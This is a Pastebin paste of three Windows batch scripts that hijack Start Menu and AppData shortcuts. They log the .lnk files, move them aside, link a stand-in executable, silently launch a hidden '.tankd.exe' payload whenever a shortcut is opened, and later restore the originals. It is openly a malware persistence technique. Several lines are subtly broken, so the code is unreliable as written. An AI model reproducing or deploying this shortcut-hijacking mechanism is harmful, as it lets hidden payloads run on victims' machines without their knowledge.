tankdthedruid

replace_link_3

Mar 7th, 2012
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @ECHO OFF
  2. REM FILENAME: ENUM_LINKS.exe
  3. SETLOCAL ENABLEEXTENSIONS
  4. SET %PATHEXT%=%PATHEXT%;.LNK
  5. if not exist %APPDATA%\MSF mkdir %APPDATA%\MSF
  6. if not exist %APPDATA%\MSF\src\ mkdir %APPDATA%\MSF\src
  7. if not exist %APPDATA%\MSF\contrib mkdir %APPDATA%\MSF\contrib
  8.  
  9. echo [*] Enumerating AppData Shortcuts...
  10. dir /b /s %APPDATA%\*.lnk >> %APPDATA%\MSF\Desktop.ini
  11.  
  12. echo [*] Enumerating ProgramData Shortcuts...
  13. dir /b /s %PROGRAMDATA%\*.lnk >> %APPDATA%\MSF\Desktop.ini
  14.  
  15. echo [*] Moving Start Menu Shortcuts...
  16. for /f "tokens=*" %%i in ("%APPDATA%\MSF\Desktop.ini") do
  17.     move "%%i" "%APPDATA%\MSF\src\"
  18.     mklink /h "%APPDATA%\MSF\contrib\fsutil.exe" "%%~pni.exe"
  19. )
  20. :EOF
  21.  
  22. @ECHO OFF
  23. REM FILENAME: fsutils.exe
  24. SETLOCAL ENABLEEXTENSIONS
  25. SET %PATHEXT%=%PATHEXT%;.LNK
  26. set LINK=%%~n0
  27. if exist "%LINK%.lnk" (
  28.     start /b "" "%LINK%.lnk"
  29.     ping 127.0.0.1 -n 6 >NUL
  30. )
  31. tasklist | findstr /c:".tankd.exe" > proc.sys
  32. set /p TANKD_PROC=<%APPDATA%\MSF\proc.sys
  33. if defined TANKD_PROC (
  34.     GOTO :EOF
  35. ) else (
  36.     start /b "" "%APPDATA%\MSF\contrib\.tankd.exe" >NUL
  37. )
  38. :EOF
  39.  
  40. @ECHO OFF
  41. REM FILENAME: fixlinks.exe
  42. SETLOCAL ENABLEEXTENSIONS
  43. echo [*] Repairing Hijacked Shortcuts...
  44. for /f "tokens=*" %%i in (%APPDATA%\MSF\Desktop.ini) do (
  45.     del "%%~pni.exe"
  46.     copy "%APPDATA%\MSF\src\%%~nx" "%%~p\"
  47. )
  48. CLS
  49. echo [*] Repairing Hijacked Shortcuts...Done.
  50. :EOF
Advertisement
Add Comment
Please, Sign In to add comment